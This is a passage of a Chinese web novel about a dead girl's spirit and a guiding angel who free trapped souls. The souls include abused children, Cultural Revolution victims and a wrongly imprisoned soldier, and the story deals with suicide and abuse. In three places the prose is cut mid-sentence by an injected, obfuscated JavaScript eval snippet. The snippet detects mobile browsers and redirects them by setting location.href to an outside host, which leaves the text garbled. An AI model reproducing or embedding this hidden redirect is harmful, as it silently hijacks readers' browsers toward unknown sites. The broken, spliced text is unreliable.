他倒了一杯水喝上几口，不紧不慢地说：“我是第一次回人间做引路天使，目前只负责你一个灵魂，我很对得起我在人间的老婆，我们在一起的时候我从来没有背叛过她，你放心，也不用你为我老婆操那么多心，你又没做我在魂界的女友，我们现在只是好朋友，你提前生气不值得……” 我听了许锺琛的话，更生气了，气得我跑到沙发上去拿了个抱枕，气鼓鼓地看电视剧，电视剧上播放的也是两口子吵架的剧情，我就把电视剧关掉，看向窗外有黑鸟飞过的淡蓝天空。 许锺琛用意念的力量收拾好厨房，他便坐到我旁边来，轻轻扯了一下我的衣袖，问我到底生哪门子气呢？他既没背叛妻子，也没对我要做什么，接吻那次不是我自己要亲他吗？估计他推开我的话，我后来也要生气，他真是不知该怎么做，一面对我，他就不晓得拿我怎么办是好。毕竟他也是第一次做引路天使，生怕做不好，回去不好交差。这可是他的头一回任务啊。他还嘀咕，他都没生气我随便见了个男人突然就去轻薄别人，如果这个男人不是他，我肯定也会亲别人，他哪有我随便啊。 “我都说了我以为是做梦才亲的，什么随便不随便？这可是我的初吻!你都不知道跟人亲多少回了!你才随便呢!”我试图拍掉许锺琛捏我衣袖的手，他无赖地扯着我的衣服不放。这是我生前随便穿的衣服，早知道自杀之前我穿好看点的衣服了，当时只想着死，哪还管什么好看不好看的，现在我就是希望自己穿得好看点。 “这真的是你的初吻？”许锺琛想了想道，“不对啊，我们当时又没在梦里，你也不会被梦境迷惑，你想亲我，那是你自己的想法。你突然亲了我，证明你以前也有可能突然亲吻别的男人，你这也不知道是第几个突然的吻了。” 他也莫名其妙地跟我计较了起来，我掉入了自证的陷阱：“这确实是我的初吻，我在人间都没跟男孩子亲过嘴，所以我想我在梦里还不能亲一次吗？” “那就好。”许锺琛愉悦地说。 “嗯？我的吻是不是初吻关你什么事呢，那就好？好什么啦？你是我的谁啊？”我用抱枕砸他。 于是许锺琛将我和抱枕一起抱住了，我不争气地拒绝不了他的拥抱，我们面面相觑，他的臂弯越收越紧，温柔地说道：“我是你的引路天使，如果你觉得你在人间没有交过男朋友感觉很遗憾的话，或是你想尝试男女之情的感觉，只要你愿意，引路天使也会满足你啊。” “那你以后也会对其他灵魂这么做咯？你真是一个不干不净的花花天使，谁知道你是不是第一次做引路天使，说不定你对每个灵魂都这么说，我才不相信你呢。”我把头扭到了一边去。 “你是有精神洁癖吗？”他把脑袋靠在我的肩膀上磨蹭，口气无奈地保证，“我真的是第一次做引路天使，因为你是我帮助的第一个灵魂，我额外优惠你一个人，只满足你这方面的愿望。对于其他灵魂，我是不会这么做的。” 说完以后，许锺琛赋予我一种触摸就能看他部分生平的能力，他把我的手放在他的脑袋上，我的脑海里像放电影似的看到他确实是第一次做引路天使。 我收回手，拒绝了他的提议。我认为他在人间有妻子，我就算要选灵魂伴侣尝试男女之情也不会选他。他说，那是前世的事，怎么能带到今生来呢？ 是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630362|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点儿道理，可我过不了这关，我推己及人地想到，要是我的丈夫上天堂以后，跟别的灵魂卿卿我我，那我会生气和失望，我不想让人间的那个女人伤心，即使她不知道。 许锺琛尊重我的选择，但是他说好朋友之间也可以拥抱，拥抱能获得力量，这种寻常的交往，我总不会拒绝了吧？ 我稍微点了点头，大方地伸手向许锺琛第一次索要拥抱，他就上前紧紧地抱了抱我，他每次拥抱我的时候都很用力，像是要把我和他的灵魂合二为一。不过我喜欢这种充满力量和温暖的拥抱，他的身上既好闻又暖和，我甚至想在他的怀抱里睡觉。 后来很久以后他说，以前的我也是这样经常向他索要拥抱的。当时我疑惑地问，什么以前？ 然后他打哈欠说，他之前梦见我，在梦里向他索要抱抱呢，梦里的环境是在很久以前。 现实里，我每次脱离许锺琛的怀抱，都需要克制自己与他保持界限，我提醒自己，别落入花心天使的诱惑中，或许天堂也在考验我。由于从小待在福利院的我缺乏与人的拥抱和触摸，我就喜欢抱抱。 我们拥抱过后，许锺琛带我来到卧室的床边，他打开壁橱请我随便选一件好看的新衣服穿，我想到了小天使逞美，便选了一件粉色的复古裙子，还穿了一双洁白的低跟皮鞋。 我穿衣服的时候不用脱，许锺琛好似变魔术能把裙子直接换到我身上来。最后他将我按到梳妆台前，亲自为我梳理中长的头发，中途按摩我的脑袋，触感痒酥酥的，伺候得我的整个灵魂感觉很舒服。 许锺琛慢吞吞地帮我盘了一个温婉又活泼的半披发，使我顿时看起来很清纯靓丽。我不太会化妆，也是他帮我熟练地化妆。我心想他的妻子真幸福，好羡慕她啊。他承认生前他经常为妻子梳妆打扮，并且给她买了满柜子有质感的漂亮衣服。 我吃饱喝足并打扮得好看，整个灵魂的精神气和心情都不一样了。许锺琛牵着我来到了学校，我们回上中学的菲比身边晃了一阵子，滋养我的灵魂，我的灵魂逐渐庆幸多了，不再有那种睡不醒和做梦的感觉。 我本来不愿意和他牵手，他说好朋友不是可以牵手吗？你从小到大难道没和朋友们牵手吗？ 我和女友们十指相扣比较自然，当我和他一个男天使牵手，总感觉不那么纯粹。他打趣我说，这在天堂也是很纯粹的事情，是我自己非要东想西想，一想到牵手拥抱就觉得我们在谈恋爱。 从来没有男人对我这么主动的投怀送抱，而且是好看的男人，我的灵魂沦陷在许锺琛的温暖下，是能预见的。 在菲比夜晚睡觉的时间，我和许锺琛来到了空荡的教室里欣赏窗外的月夜，我们也在桌上静静地看着彼此，他痴痴地伸手抚摸我的脸颊，我看对方的表情似乎很珍惜现在的时光，他总是一副很舍不得我的样子。我们才短短相伴没几天，他就开始去想任务结束以后再也见不到我的事情，表现出一副很夸张的伤心模样。 我嘲笑道，我又不是他的妻子，他在每个女人面前都很会表演吧？生前是不是做过牛郎…… 他沉默着不回答我的话，继续伤心而落寞，片刻后，也伸手向我索要拥抱，他的下巴磕在我肩膀上摩擦，我的耳边隐隐约约听到一点抽泣的声音，我看不见他的脸，讪讪地宽慰他。他想把我当成他妻子的替身的话，也行啊。 我一直觉得他这位天使好莫名其妙，充满感情地向我示好，可是又觉得他很亲切和熟悉，我俩之间也是有缘分的吧。或许也是他的灵魂在天堂和魂界待了很久，太孤单了吧？ 我脱离拥抱，促狭地掐了掐他的脸皮，问道，他真的是引路天使的话，那么天使能知道我的身世吗？天使的神通应该大一些吧？ 心情平复下来的许锺琛捉住了我的双手摩挲了起来，他目光闪烁地说，他是天使啊，但是他不知道我的身世。 许锺琛也劝我不要急，心急吃不了热豆腐。他还说，那个路过的老灵魂是骗我的，我已经进入了那么多沉睡灵魂的梦里，不是已经看见了吗？魂梦里没有我想要的身世，全都是奇怪和吓人的梦境。 我不肯相信许锺琛说老灵魂在骗我，我的灵魂飘到了学校外面去，想找找其他沉睡的灵魂，可许锺琛要求我继续休息，大不了之后他再陪我继续折腾。 我便躺到了田野里去看满天繁星，他来到我的身侧也躺了下来，还把手伸长了放到了我的脖子下面，似乎是一种很熟练的动作，我觉得这有些暧昧，避开了。 他平静地说，菲比，你现在的心结就是身世吗？这是你最放不下的事情吗？ 我叹息说，是的，不知道身世的孩子就像没根的浮萍，我得找到我的根啊，不管是生机勃勃的根也好，还是腐烂的根也好。否则我死不瞑目。 21. 麦田榕树下 我在菲比身边养好了精神气充足的灵魂以后，许锺琛劝我先别急着去找黑色漩涡的魂梦，他提议近期我们可以一起去别的灵魂那里唠嗑闲话，出去散散心，或是看看大家的生平。 许锺琛想邀请我看看世间百态，磨炼下我的心态，他觉得我面对困难的承受能力不高。我同意了引路天使的提议，也想了解一下其他灵魂的状态，我对此是比较好奇。 他娓娓道来地说，我们可以帮助那些放不下过去的灵魂，以及被困在某个小角落而迷路的灵魂，拯救他们说容易不容易，说难也不难，只要能让他们了却心事，抑或从迷局中脱困，最后把大家带到绿黄麦田的大榕树中转站入口，他们就能上天堂或是去寻常的灵魂世界，以及往生…… 那么我呢？帮我找到血亲很困难吗？我只有这么一个心愿。 许锺琛忽悠我说，我想完成心愿的时机还未成熟，先做点力所能及的好事，说不定就有转机了呢？ 依我看，他是骗我当他的助手，帮他完成天堂派下来的任务。 我们踏上路过其他灵魂的旅途，我问过他，有转世投胎这回事吗？ 他遗憾地说，没有呢。灵魂就是我们的精神文明在世界上最后的意识残留，上天堂的灵魂能完成很多心愿并继续存在很久很久，他们很多人在那里等待着与家人相聚，也接力帮助大家的灵魂，每帮助别人一次，就能增加一点自我修行的力量。而在灵魂聚集的主要世界，灵魂们能找到生存的空间，暂时没那么容易消失，也与在人间的生活很像。但是遗留在人间的灵魂，要么意识昏迷而不清醒地一直被困下去，要么漫无目的地游荡，要么容易陷入沉睡彻底消失……世界上每天死去的人太多了，在我们说话的每分每秒都有生命消逝，天堂忙不过来，也看大家自己的造化了…… 我和许锺琛帮助的第一个灵魂是，一个穿着破烂的骨瘦如柴的老乞丐，他不停地在地上钻木生火，小小的火势来临他就伸手烤起了火，待那幻觉的火堆渐渐熄灭以后，他目光空洞地放一块石头在上面，便蹲上继续去温暖脚底和周身，可是颤颤巍巍的老乞丐蹲了不一会儿，开始身子前倾，脑袋倏然撞在地上，最后彻底地倒在了生过火的一片狼藉之地。片刻后，老乞丐再次反反复复地升火，周而复始地循环生火取暖这回事。 老乞丐的心愿很简单，所以我们很容易就把他带到了麦田的大树榕树下。许锺琛告诉他，去属于你的灵魂世界取暖吧，那里不冷，也不缺火，还有很多食物，你再也不会挨饿受冻了。老乞丐听了，就如梦初醒地随我们的步伐离开了生前最后久待的地方。 看来我是一个难缠的灵魂，怪不得许锺琛带不走我，有可能我一直找不到身世，就得永远被困在人间流浪，死不如生，我最后的结局就是灵魂昏睡过去彻底地消失。我把我的想法向许锺琛诉说，他温柔地牵起我的双手安抚道，不会的。 许锺琛领我四处溜达找找有没有容易帮助的灵魂时，我还看见一个摆满了花束的墓碑前面，有穿运动服的年轻人来探望姥姥，顺便扫墓，墓碑周围有好几个老人的灵魂，她们像村里经常坐在一起聊天的老姐妹，姥姥笑弯了双眼，得意洋洋地向别人炫耀那个爱她的孙女。 老人的心愿只是等孙女来上坟看看她，所以她不必去中转站。一团和气的姥姥说，孙女是她一手带大的宝贝，这孩子从小是留守儿童，所以对她的感情很深，就算她去世了，孙女也一直记挂着她，每隔一段时间都要来跟她说说话呢。 而姥姥每年都会帮助孙女完成一些心愿，比如保佑这孩子通过驾照考试，帮把她养死的玫瑰花起死回生，将祝福送给孙女后令她遇到各方面条件不错的正缘…… 这位善气迎人的老人家聊着天，不仅把鲜花和美食分享给她墓地周围的朋友们，也送给了我和许锺琛两束鲜花，祝我们这些年轻的灵魂早日达成愿望。 我捧着五颜六色的鲜花向前走，不远处有个破败的教堂摇摇欲坠，里面有一个苏联国籍的老神父跪在教堂的圣象面前，一直碎碎念祈祷，他看起来入定了很多年，一心着魔地为谁祈祷。许锺琛拉过我的手放到神父的身上，然后我就神奇地看见他生前在为战火纷飞的家乡祈祷，并且能听懂他们的语言，他曾经住在赫鲁晓夫楼，楼外的景色却有一种末世的荒无人烟之感，幽蓝的天空把大地也染成了暗蓝色，外面是凄凉的雪景，积雪堆在不同的寂寥楼顶，也覆盖了楼下陈旧的设施，那里没有几个人走过。在老神父的记忆深处，楼上传来了一阵妈妈响亮飘忽的喊声：托利奇卡……托利奇卡…… 许锺琛用心灵的感应与老神父交流，苏联已不复存在，但他的家乡依然屹立不倒，继承国等着他回去呢，他那位在前线参加保卫战而牺牲的妈妈，也在家乡的天堂等着他。 老神父从祈祷中逐渐苏醒，跟随我们前去大榕树的中转站踏上回到家乡的路途，由其他引路的天使领他回国，以免他再次迷路。 我们从中转站离去，继续寻找需要帮助的灵魂。星期六，我在公园的池塘附近看到有个小孩总是一脚踩到草地上，整个人消失不见，过一会儿他又出现在地面上……我们走近以后，才看清那个小孩魇在了满是浮萍的池塘里，他生前大概以为浮萍是草坪才踩进去溺死的。 他小小的灵魂困在了池塘里溺水很多次，没有人来救他，直到我在岸边伸手把这个孩子拉了上来，他便清醒地回想起了自己身在何处，浮萍不是草坪，他伤心地放声大哭，哭过之后，也冲我露出一点笑容。这一次，我想单独送他去榕树入口，我对孩子说，这里能通往天堂，那些意外死去的未成年、冤死的无辜者和做很多好事的人们能上天堂。 许锺琛依然默默跟随在我的身后，我问他离不开我吗？他仰头眨了眨眼睛说，现在离不开，以后也得离开啊。 我真是拿这个依赖我的引路天使没办法。我拥抱住了他，请他别这么感性，为什么他就不会对别的灵魂恋恋不舍呢？难道就因为我吻了他？我的吻是魔咒吗？ 他摇摇头，说了一个令我气愤的理由。他说我长得像他的妻子，他舍不得我离开他哪怕片刻，这样的话，他就看不见酷似妻子的脸了。 于是我撕下裙子角的一块布拴在脸上，遮住了我的面容，偏不让他看我那张神似他妻子的脸。他失笑着说，没关系，眼睛也很像。我只好从他家找来一副墨镜戴上，他最后故意说连头发丝也像，我就没办法了，只能冷处理不理他。 但是在我们帮助其他灵魂的时候，彼此还是合作得很默契。我听见某个房子里传来小孩子痛苦万分的哭声，便寻声找了过去，直到找到长哭不止的小灵魂所在的房间里，他趔趔趄趄地爬起来站在窗帘面前，浑身疼痛而心碎地哭喊道：没有人爱我……没有人爱我……没有任何人……没有人给饿肚子的我吃食物……爸爸妈妈都打我……他们不爱我……他们恨我……没有人爱我…… 在某个瞬间，我和许锺琛出现在了他的身后，异口同声地对他说了一句，我爱你。然后我们说了好几句，我爱你，我爱你…… 五六岁的小男孩儿逐渐停止了哭泣，他搓着眼睛转头看向我们，便拖着毯子踉踉跄跄地朝我们走来，毫不犹豫地扑进了我们的怀里，我们一起触摸到他的那一刻，脑海里浮现了他短暂而困苦的生平。 小男孩儿的父亲因为吸毒疯了似的抢家里的钱，母亲痛苦地指责孩子，如果不是因为他的存在，她不会过上这么悲惨的人生，这对男女常常发泄着情绪充满戾气地暴打他，他们将他提过来、摔过去地砸在家具上面，并辱骂他是小畜生，是多余的垃圾，应该在肚子里被脐带勒死，不该活在这个世上…… 曾经吸毒出幻觉的男人还拿尖刀割伤了男孩子，虽然警察当时救下了他，可是孩子剩下活着的时间，他在家里等来的始终是无休无止地暴力折磨与数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个灵魂的头发还被梁上的绳子扯着，继续沉浸于刻苦地读书中。在他猝死不久，娘子似乎因思念逝去的丈夫过度伤心，才病逝了，起初死后的娘子也每天来照顾丈夫，他们好似永远活在了生前的理想里，后来有一日娘子的灵魂慢慢不在读书人身边打转了。 娘子默默地去了别的地方，那里是她嫁人以前住的府邸，她会站立在水塘旁边，看向后院里有阳光照下来透过绿叶的场景，仿佛在回想年幼时候的思考。 面前真实的房子是现代房屋，不过我们跟随娘子的灵魂来到了古代样子的府邸。我在光影重重地古代木屋和院子附近走过，周围虚无缥，我仿佛穿过了时空看到了一个女人的哀思。娘子总是在自家僻静的府邸和祠堂里孤独飘荡，即使她被困在那里，也每日拿起书本看书，她嗓音轻声悦耳地念起文章。 整个府邸里一个人影都没有，她念完书，便穿梭在空荡寂寥的厢房和有很多柱子的屋子，雕花木板门的孔缝黑漆漆，她一寸寸抚摸着旧屋，以及在有破罐子的花园散步走动，这里绿森森的。 我观察着这位娘子，渐渐明白了她的怨念，我执起她的双手，轻问道：咱们不嫁人了，我带你去上学读书，我们那里的女孩子都可以上学读书，考取功名。 我只用了这么一句话便化解了娘子的执念，她的灵魂才得以从府邸里解脱，便喜极而泣地问我：这可是真的？ 自然是真的，我是未来的女孩子，也曾上学读过书。我微笑着对娘子说。 她从迷茫的旧日梦魇里回过神，由许锺琛引路带她和读书郎去了别的世界继续念书。 而我依旧在荒凉残破的府邸幻影里静思，去感受那位古代娘子生前的凄婉和无奈，便觉得自己生前好好上学念过书，尽管成绩不如意，也是一位幸福的女孩子。 我合掌祈祷，感谢付出鲜血的革命先辈，感谢梅香院长，感谢这个世界上为此付出过的所有人。 22. 来来往往 阳光明媚的一日，我看见公园的长椅上坐着一个清风霁月的少年，好像在等什么人，我从他灵魂的思想漩涡里看见了他脑海里的童话故事。在他脑中的童话国里，他平时是困笼里被魔鬼伤害的书生，在从前却有一位公主总是悄悄地注视着他，她看到他受伤，不像其他人一样会害怕或者嫌弃地远离他，她和其他人不同，坚持照顾了他很多年。他本来以为他们可以在一起生活……可是最后他们被王后强行分开了，王后看不上他，不仅把公主关到了城堡的高塔之上，也把他丢到了满是荆棘的丛林里。 当他想前去公主那里的时候，就变身为了勇士和骑士与森林里的回忆怪物厮杀。公主在城堡上方焦急地等他，他拼命地闯关，披荆斩棘地经过重重困难，可是等他攀爬到城堡上以后，公主不见了，这里没有任何人等待他的身影。 想到此处，少年忍不住捂住了那张沮丧的脸，他一直坐在长椅上从白天等到晚上，从晚上等到白天，期间，他不停地重复脑海里的童话故事。我观察了这个有书卷气息的男生很久，终于慢慢走过去坐下，好奇地问他，你在等谁呢？ 他看了我一眼，平静地说，在等一位公主。 我问，她是不是忘了你？ 不，她不会忘了我的，我生前给她写过遗言，叫她不要忘了我。他说。 我估摸着他们生前被家长分开了，也可能是经历了生离死别分开的。但是当我问关于他们过往的事情，他说的内容很少。我本想触摸少年的灵魂，想看看他的过去，但他下意识的防备心和距离感有些强，微微退后与我保持了距离。 我只好继续保持着距离向他搭话，你很在意她吗？ 他毫不犹豫地点点头。 我猜道，你们在一起过吗？ 他继续点了点头。 那你们后来分开了吗？我说。 他还是点点头。 我想，看样子是她提的分手，否则他不会死后还在等她。我便问少年，你怪她吗？ 他这次毫不犹豫地摇了摇头，终于开口说：这个世界上除了亲子关系以外，没有谁必须向谁付出，我爱一个人想付出是我做的决定，对方怎么做并不妨碍我的选择，我也尊重她最后的选择，只是还想见见她。再说她已经为我付出了很多，我也没能帮上她什么。但是不知道为什么，我生前没有见到她，她死了以后，我还是见不到她，不管在何处都看不到她的身影，不过我能感受到她存在的气息。 我和许锺琛帮少年一起寻找她的灵魂，许锺琛在天堂和其他灵魂世界查过，那里都没有少年要找的女孩儿。于是我们在人间帮他一起苦找，我们去她的老家和后来她后来住过的家里周围找，皆无她灵魂晃荡的身影。 在我们漫无目的找女孩子的过程中，许锺琛向少年聊起，你是怎么死的？ 这大男孩儿犹豫过后，启口讲道，他少年时成绩优异，本该有光明前途，但是后来被学校的男老师侵害，于是患上了精神病和艾滋病，最后在二十多岁的时候死于生病，因为潜伏很久的艾滋病到了末期感染身体，引发了其他病症，多器官功能衰竭死亡了…… 幸好我没有触摸到少年的灵魂，听完这些话，我不想再看见他生前的难过和种种伤心事。我们在寻找女孩儿的过程中，直到少年在某次被吸入快消失的魂梦漩涡里，遇到了危险，女孩子的灵魂才突然现身把他拉了出来。 这个女孩儿终于肯现身了，许锺琛一直知道她在他的周围隐藏着自己，所以当少年掉入危险的魂梦漩涡，许锺琛没有伸出援手。 在少年病逝不久，被迫嫁人后过得不如意的女孩儿也自杀了，然后她一直隐去了自己的存在，默默地守护在他的灵魂身边，可她没有勇气现身，她不想让初恋知道她的婚姻不幸，到最后懦弱的她没有怎么反抗，还一死了之，只是用死亡逃避一切，没有及时醒悟过来要去爱自己。直到死亡以后，她才明白一个道理，生前的她是靠毁灭自己，企图让家人愧疚。对她来说，人世间对于那时候的自己，已是毫无留恋之地。当她来到初恋死后的世界，看到他还是少年时的模样，看到他时常自言自语希望她精神独立地生活，她无颜面对他，也无颜面对自己，于是隐去了自己灵魂的存在，只是默默地跟着他。 诉说了这一切，她泪流满面地问我们会看不起她吗？ 少年总是毫不犹豫地说出他想回答的问题，他泣不成声地抱住女孩儿，摇摇头说道：爱是接纳和包容，你的缺点也是你灵魂的一部分，我只想与你一起进步成长。 我想起了过去不够接纳和包容自己，欲言又止，在女孩儿讲述她是怎么死掉的时候，我的脸上也出现了一点羞赧之色，他们都注意到了我的神态，似乎也明白了过来我是怎么死的。一切尽在不言中，我们相视微微一笑。 这对情路坎坷的情人，跟着就去了大榕树中转站那边的光明里，如愿地去过上生前没能过上的神仙眷侣般的生活。每当我和许锺琛送走这些得到慰藉的灵魂，便觉得内心圆满。 可是下一个少女的生平又令我心碎，我在某处地下室触摸到一个叫白丽兰的女孩子。 从白丽兰记事起，她的父母就经常吵架或者打架，后来这对暴躁的夫妻离婚了，不负责的父母将她寄养在了亲戚家里，过了一段时间不再寄钱给亲戚，相当于把小丽兰抛弃了。自此，她在亲戚家里受尽虐待，亲戚的孩子们也参与了虐待她的事情，他们在外面一旦受了气就会来她这里发泄，家里也有无能为力的小妹妹对她好点，偷偷地与她谈心，并送点吃喝的东西，甚至帮助小丽兰逃跑。 她逃跑后就去报警，但是被当时和稀泥的警察送回到了亲戚家里，只是随便教育了这群恶魔几句，然后亲戚一家人加大力度虐待和管控小丽兰。 以前小丽兰能出门上学，到后来他们不许她上学了，只把她关在地窖里锁着，待少女来了月经，他们还找村里的嫖客来强/奸她，甚至强迫她免费给别人生孩子。而地窖里暗无天日的小丽兰只有把他们当家人，欺骗着孤苦伶仃的自己，才能心存希望地活下去，她始终心存一丝逃出去过平凡生活的幻想。她记得，她有一个外婆，是很慈祥的老人家，她小时候和父母跋山涉水去探望过外婆几次，外婆非常疼爱她。她希望自己第二次逃出去的话，能直接去找外婆，可是她还没行动就被虐死在了地窖里。 我蹲在地上，泣不成声地解开了小丽兰手上的铁锁和绳子，牵着她的灵魂离开了污浊黑暗的地下室，亲自送她去了中转站那里开始落叶的大榕树下，希望她去天堂过好日子。 我和许锺琛也在其他的地牢里看到无数个惨叫的灵魂。我们触摸他们的灵魂，看到了他们处于文/化/大/革命时期的家乡，那个县城化名白县。此县城和全国各地的人们一样遭遇了疯狂的迫害。 混乱的运动开始以后，县城里那些重点部门几乎全军覆没，各类机关和无辜的干部都被围捕起来批斗了。在上海某风暴的影响下，县城当局机关逐一失守瘫痪，此地被造反派浩浩荡荡地夺权。在极左的思想下，形成的反叛派系，将很多无辜者都扣上了□□的高帽，或者分为黑五类，也将大部分知识分子污蔑为臭老九，最后非法恶劣地把大家抄家和关押，并把被迫害的人们狼狈地推出来，四处游行。 所谓的革命委员会成立后，取代了原先正经官员们的职位，开始一元化领导。他们猖狂放肆地进行“批、改、斗”等整改运动，一路左到底，导致了非常多无辜的人们受到残暴的批斗，冤假错案每时每刻都在发生，可这些妖魔鬼怪压根不管事实的真相，只随乌合之众自私自利地打这个、斗那个，当时被批斗的干部都有千百余人，这些暴虐的斗争甚至面向了老辈的无产阶级革命家。 在此期间，白县的国营农场也被损伤夺权，有几百多名员工以及十岁左右的中小学生被打上国民党的标签，一百多人被揪斗，一百多人被强行关押，七十八人被毒打，十几人被打成残废，好些人被虐待着殴打致死，也有好些人忍受不了生不如死的批斗含冤自杀…… 我和许锺琛领着这些冤魂前去天堂，可是天堂并不是他们心中想要的地方，他们在天堂也集体哭诉喊冤，惨烈的冤枉之声传到了人间来。他们哭道，你们知道吗？我们不知道大家怎么了？人们变得跟野兽一样，不，比野兽还要恐怖，我们被那样惨烈地对待，就像是丛林里弱小的动物。没人在乎你的情绪，你的经历，你的背景，你的品行，你的死活…… 那个时期枉死的冤魂想要被人们看见，想要大家学会反省，大家一日不反省，他们的怨念一日不散。 许锺琛说，我们如今的进步生活来源于那些牺牲的理想主义，不要糟蹋今日的安稳和部分自由。 那天我走在街上，想起我在不同的灵魂身上看到的人间百态，然后再看到小孩子的身影，我忽然想到战争地区那些惨死的小孩儿，人间被害死的孩子们，以及在古代的小婴儿容易被饿死，这些小孩子们从小就要做苦力并找口吃活下去的……我只要一想到那些小孩儿的惨样，我在心里就说，我没办法接受小孩子这么悲惨地死亡，我没办法看到婴儿的尸骨……但是我想了想人类不管是在少年、青年、中年还是老年去世的话，好像多多少少都会有难受和遗憾。生命必然消逝，人来到这个世界上确实一天天被磨炼到枯萎，最终消亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我随黄狗乘船来到了某个岛上，许锺琛这才告诉我，大黄是希望我去看望一个叫王世光的男人，他是人民子弟兵，但是他绝望到只能相信鬼，而这条黄狗是王世光曾经养了很久的狗，他们相依为命，陪伴彼此度过那些孤独的日子。 那位老人在人迹渺无的岛上生活了几十年，人们称呼这座岛是鬼岛，所以王世光来到了这里寻找鬼，想要遇到鬼魂帮他申冤。 王世光从小生活在海边，他的父母是渔民，在父母的安排下他娶了一个女孩儿，他们成家以后，他想要立业提高家庭的生活品质，所以他参军了。在那个年代，王世光能有一点文凭，也算是高文凭了。再加上他凭着自己的实力被调入了医疗大队，最后被部队提升为了班长，也是重点培养的提干对象。 可是在军民活动上，出现了一个姑娘对王世光产生了好感，开始死缠烂打地追求他，已经成家的他自然不可能答应追求者，也与对方明明白白地说出了他有家室的事实。 到后来姑娘仍然给他写情书，不肯放弃，三天两头地纠缠他。她的举动不止给他的精神上造成困扰，还断送了他的前途。在谣言四起以后，提干名单里删除了他的名字。他心如死灰，决定复原回乡。 然而她追求王世光不成，便由爱生恨地指控他对她做出了不好的事情——诬告他侵犯了她。 因此王世光被判刑入狱了，理由是破坏军民关系。不管有没有实质性的证据，不管他怎么向各级军事法院申诉，最终没有人听他的冤声，喊冤的他还被加大惩罚。 王世光在英德劳改场坐牢十年，妻子改嫁离去了，他的父母也在他出狱之前撒手人寰。他因为这场诬告，不仅失去了爱人和亲人们，也再无清白名声。当他想起离家前温馨又不舍的画面，再看到如今父母的尸骨坟墓，他便跪在父母的墓碑前，痛不欲生地哭了几天，觉得子欲养而亲不待。他失去了前途，一度失去了人生自由，失去了妻子，失去了至亲，失去了所有的一切…… 因而孤苦伶仃的王世光听说了包公用鬼断案的故事，便到处找鬼，最终前往鬼岛寻鬼申冤，也开始了避世疗伤的平静生活。瘦弱的老人独自在荒芜的岛上建造了一个石头做成的小房子，每日捕鱼为生。他的余生就在孤岛上，平淡而又心里充满冤屈地生存着…… 我在老人家的耳边说，我听到了你的冤屈。他没有察觉到我的声音，自顾自如往常一般修葺自己的小房屋。 看着宁静的小岛，我对王世光说，虽然我的力量渺小，但是我会把你的事情记住，让你的故事起码多一个灵魂知道。虽然王世光看不见我，但是我看见了他。他找到的鬼，也许就是我，是看到这件事的每一个人。 23. 平行世界 岛上的老兵想申冤，我也想申冤，我要申的是自己为何无父无母的冤。如果他们抛弃了我，我希望他们早日消失，我诅咒他们魂飞魄散。如果他们迫不得已，我祝愿我和他们能去天堂再续前缘，充实地度过余生。 在休息过后，我独自行动去寻找那些沉睡的灵魂，我第一次看见了有黑色漩涡的魂梦，便毫不犹豫地跳了进去，在这里，我再度看见了自杀时遇见的那场大火。 这一次，那个起火的房子离得我很近，我看见面前的房子燃烧了起来，我又听到有男人和女人在呐喊呼救，我闭眼不想白费精力，我以为这只是我死去时产生的噩梦，可没坚持多久，我还是身不由己地下意识去救人。我穿过了火光和各种阻碍物，撞见那对刚睡醒的年轻夫妻被掉下来的房梁一下子砸到了身体。他们把小孩尽量往前扔，扔到火势还没有蔓延的地方，我只抱得动里面哇哇大哭的婴儿。我记起来，这是我濒临死亡而意识混乱时在大火里所做的事情。 可是每当我想起没有救下大火里那对年轻的夫妇，我在梦境里便徒劳无功地想去救他们，然后反反复复重现那个救火救人的场景，我被困在这里很久，不停地与大火斗争。直到梦境上方响起一个声音告知我，我去魂梦里救人是无果的，梦境只是重现过去，让你婴儿深处的记忆恢复而已。 过去的已经实现了，我们没有太多机会改变已成事实的情况，但拥有改善以后的行动力。许锺琛将我一把拉了出去，别有深意地说。 我听到他这些话，意识到似乎有其他的意思。可他脸上又是一种后悔说出来的神情，他扯开话题转移我的注意力，低沉地说：“别在梦里瞎折腾了，我们去帮助其他的灵魂吧。” 我接触到了这些遗留在人间的灵魂的部分生平，既疲惫不堪又产生了沧桑虚无之感。所以我摇摇头：“我不想再去了，我的心里承受不了那么多人的痛苦，那根本就不是散心，而是在蚕食我的灵魂……这太难受了……你还是跟我说，我反复看见的那场火是怎么回事吧？你一定知道什么，否则你不会说出那些话……” 我抬头紧紧地抓住了许锺琛，目不转睛地望着他。他神情忧郁地注视我，习惯性地抚摸我的脑袋，便无奈说道：“如果你非要现在知道身世的话，那么由我来告诉你吧，接下来我所说的一切你可能也不会一下子相信，我本来……” 不过说出真相之前，许锺琛拿下我抓着他胳膊的手，他想要握住我的手，他逐渐用力地握着我的双手，叹息说，他原想和我多待些日子，也不希望我提前难过，所以想隐瞒着一切，本来希望我最后自动放弃，再把我送回去的。 我听得云里雾里，许锺琛把我拉到旁边碧绿舒适的草坪上，请我坐下聆听。他与我面对面，平静地看着彼此，娓娓道来地讲述了那一切。 他开口的第一句话就惊到了我，他说，这一切要从上学的时候开始讲起，不管我信不信，我应该去试着相信他，就像他当年相信他梦境里长大后的菲比一样，相信我所说的，我成年后自杀了。 